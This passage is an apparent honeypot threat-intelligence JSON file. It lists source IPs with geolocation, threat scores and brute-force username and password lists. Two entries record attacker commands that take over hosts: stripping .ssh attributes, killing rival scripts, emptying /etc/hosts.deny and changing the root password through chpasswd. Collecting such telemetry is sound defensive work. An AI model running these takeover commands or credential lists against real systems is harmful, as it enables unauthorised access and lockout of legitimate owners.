        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 28,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T06:01:43+00:00",
        "last_seen_30d": "2026-04-30T22:28:14.444000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 34,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "118.196.56.74": {
      "attack_count": 3,
      "first_seen": "2026-04-28T10:08:38.828Z",
      "last_seen": "2026-04-28T10:09:41.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:08:38.828000+00:00",
        "last_seen_30d": "2026-04-28T10:10:48.273000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "206.189.35.70": {
      "attack_count": 3,
      "first_seen": "2026-04-12T20:38:23.486Z",
      "last_seen": "2026-04-12T20:39:24.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T20:38:23.486000+00:00",
        "last_seen_30d": "2026-04-12T20:40:29.566000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "65.49.1.66": {
      "attack_count": 3,
      "first_seen": "2026-04-22T04:09:29.713Z",
      "last_seen": "2026-04-22T04:09:29.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T02:24:10+00:00",
        "last_seen_30d": "2026-04-30T13:12:02.192000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182,
        "Honeytrap": 84,
        "Miniprint": 8,
        "Mailoney": 6,
        "Cowrie": 3,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "102.22.83.46": {
      "attack_count": 2,
      "first_seen": "2026-04-30T03:14:39.177Z",
      "last_seen": "2026-04-30T03:15:10.286Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328170,
      "as_org": "DataKeepers",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:14:39.177000+00:00",
        "last_seen_30d": "2026-04-30T03:16:12.150000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.151.42.254": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:52:49.823Z",
      "last_seen": "2026-04-30T14:53:02.962Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:52:49.823000+00:00",
        "last_seen_30d": "2026-04-30T14:54:05.510000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.178.130.72": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:06.488Z",
      "last_seen": "2026-04-29T04:11:14.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:11:06.488000+00:00",
        "last_seen_30d": "2026-04-29T04:12:17.345000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.44.235.150": {
      "attack_count": 2,
      "first_seen": "2026-04-04T21:52:16.919Z",
      "last_seen": "2026-04-04T21:52:29.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chungju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:52:16.919000+00:00",
        "last_seen_30d": "2026-04-04T21:53:33.034000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.159.55.237": {
      "attack_count": 2,
      "first_seen": "2026-04-16T09:27:53.440Z",
      "last_seen": "2026-04-16T09:28:05.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeryong",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T09:27:53.440000+00:00",
        "last_seen_30d": "2026-04-16T09:29:08.386000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.193.97.147": {
      "attack_count": 2,
      "first_seen": "2026-04-30T20:52:19.049Z",
      "last_seen": "2026-04-30T20:52:33.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Sidoarjo",
      "asn": 23700,
      "as_org": "Linknet-Fastnet ASN",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:52:19.049000+00:00",
        "last_seen_30d": "2026-04-30T20:53:35.911000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.126": {
      "attack_count": 2,
      "first_seen": "2026-04-11T05:00:36.736Z",
      "last_seen": "2026-04-11T05:00:37.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T07:27:23+00:00",
        "last_seen_30d": "2026-04-29T23:18:13.491000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "147.28.112.208": {
      "attack_count": 2,
      "first_seen": "2026-04-12T05:47:46.840Z",
      "last_seen": "2026-04-12T05:47:59.847Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wokingham",
      "asn": 48101,
      "as_org": "Trooli Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T05:47:46.840000+00:00",
        "last_seen_30d": "2026-04-12T05:49:02.612000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.49.134.254": {
      "attack_count": 2,
      "first_seen": "2026-04-27T05:01:50.287Z",
      "last_seen": "2026-04-27T05:02:02.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "General Belgrano",
      "asn": 27964,
      "as_org": "RSO APOLO HIDALGO S.R.L.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T05:01:50.287000+00:00",
        "last_seen_30d": "2026-04-27T05:03:07.083000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.137": {
      "attack_count": 2,
      "first_seen": "2026-04-02T16:04:27.391Z",
      "last_seen": "2026-04-02T16:04:58.961Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 10.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 13,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T16:04:27.391000+00:00",
        "last_seen_30d": "2026-04-14T06:04:36.261000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 10,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "220.158.96.73": {
      "attack_count": 2,
      "first_seen": "2026-04-02T11:12:37.691Z",
      "last_seen": "2026-04-02T11:12:52.640Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tomobuchich\u014d",
      "asn": 2519,
      "as_org": "ARTERIA Networks Corporation",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:12:37.691000+00:00",
        "last_seen_30d": "2026-04-02T11:13:55.387000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.170.116.45": {
      "attack_count": 2,
      "first_seen": "2026-04-19T06:54:37.748Z",
      "last_seen": "2026-04-19T06:55:09.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 42526,
      "as_org": "Computer Communication Systems LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T06:54:37.748000+00:00",
        "last_seen_30d": "2026-04-19T06:56:10.922000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.61.200.216": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:03:55.001Z",
      "last_seen": "2026-04-30T21:04:08.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:03:55.001000+00:00",
        "last_seen_30d": "2026-04-30T21:05:16.698000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.15.239.19": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:09:20.500Z",
      "last_seen": "2026-04-29T06:09:34.015Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bahadurgarh",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:09:20.500000+00:00",
        "last_seen_30d": "2026-04-29T06:10:41.209000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.250.214.166": {
      "attack_count": 2,
      "first_seen": "2026-04-16T08:48:13.874Z",
      "last_seen": "2026-04-16T08:48:48.700Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yilan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:48:13.874000+00:00",
        "last_seen_30d": "2026-04-16T08:49:54.403000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "86.246.231.52": {
      "attack_count": 2,
      "first_seen": "2026-04-28T17:17:43.724Z",
      "last_seen": "2026-04-28T17:17:46.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T20:55:07.796000+00:00",
        "last_seen_30d": "2026-04-28T17:18:55.123000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "90.152.202.214": {
      "attack_count": 2,
      "first_seen": "2026-04-15T05:51:12.082Z",
      "last_seen": "2026-04-15T05:51:43.195Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Gutenstein",
      "asn": 8562,
      "as_org": "Telekom Austria",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T05:51:12.082000+00:00",
        "last_seen_30d": "2026-04-15T05:52:47.043000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "90.25.236.242": {
      "attack_count": 2,
      "first_seen": "2026-04-27T04:23:03.553Z",
      "last_seen": "2026-04-27T04:25:03.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Melun",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:23:03.553000+00:00",
        "last_seen_30d": "2026-04-27T04:35:51.810000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.77": {
      "attack_count": 2,
      "first_seen": "2026-04-21T20:04:46.303Z",
      "last_seen": "2026-04-21T20:04:56.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 29,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:43:56.157000+00:00",
        "last_seen_30d": "2026-04-29T01:36:14.719000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 59,
        "Cowrie": 2
      }
    },
    "187.108.211.119": {
      "attack_count": 1,
      "first_seen": "2026-04-28T17:09:43.221Z",
      "last_seen": "2026-04-28T17:09:43.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Conc\u00f3rdia",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:07:00.359000+00:00",
        "last_seen_30d": "2026-04-28T17:09:43.221000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1,
        "Suricata": 1
      }
    },
    "118.26.36.248": {
      "attack_count": 864,
      "first_seen": "2026-04-08T09:10:16.937Z",
      "last_seen": "2026-04-26T03:13:42.201Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "deploy",
        "claude",
        "bot",
        "ftpuser",
        "n8n",
        "test",
        "www",
        "admin",
        "ammar",
        "asmon",
        "frappe",
        "hammad",
        "mehrdad",
        "music",
        "myuser",
        "netbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123qwe",
        "1234zxcv",
        "1qaz@WSX",
        "235678",
        "7777777",
        "@dm1n!",
        "@dmin123",
        "A12312312",
        "A12345689",
        "AA123456-",
        "Aa112211.",
        "Aa123654",
        "Bot@",
        "CCaa123",
        "Claude14",
        "Claude2025!",
        "Ftpuser01!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy12345678\\nx3t4s2h88SsU\\nx3t4s2h88SsU\\n\"|passwd",
        "echo \"random\\nbwux4S9bZTtq\\nbwux4S9bZTtq\\n\"|passwd",
        "echo \"root:5bq7uKM3qiH3\"|chpasswd|bash",
        "echo \"root:QyBFhNxihwn5\"|chpasswd|bash",
        "echo \"root:lKlbNXt22Akn\"|chpasswd|bash",
        "echo \"root:rdUK0uThV5iT\"|chpasswd|bash",
        "echo \"test1234\\nIXcV5ERbMM6y\\nIXcV5ERbMM6y\\n\"|passwd",
        "echo -e \"deploy12345678\\nx3t4s2h88SsU\\nx3t4s2h88SsU\"|passwd|bash",
        "echo -e \"random\\nbwux4S9bZTtq\\nbwux4S9bZTtq\"|passwd|bash",
        "echo -e \"test1234\\nIXcV5ERbMM6y\\nIXcV5ERbMM6y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1067,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:10:16.937000+00:00",
        "last_seen_30d": "2026-04-26T03:14:42.657000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 864,
        "Suricata": 203
      }
    },
    "210.79.142.221": {
      "attack_count": 720,
      "first_seen": "2026-04-25T09:23:05.708Z",
      "last_seen": "2026-04-28T19:59:50.789Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "admin",
        "postgres",
        "ali",
        "claude",
        "mysql",
        "seekcy",
        "server",
        "testuser",
        "Test",
        "admin2",
        "bitrix",
        "david",
        "dev",
        "ftp_test",
        "ftpuser",
        "git",
        "mike"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "123",
        "123456",
        "test",
        "0",
        "1!Qaz",
        "11",
        "12.abc",
        "123123",
        "1234",
        "1Pass",
        "1Qw@",
        "1q2w3e4r5t6y",
        "654321",
        "ABC!@#123abc",
        "ABcd123456",
        "Abc@12",
        "Admin@storage"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
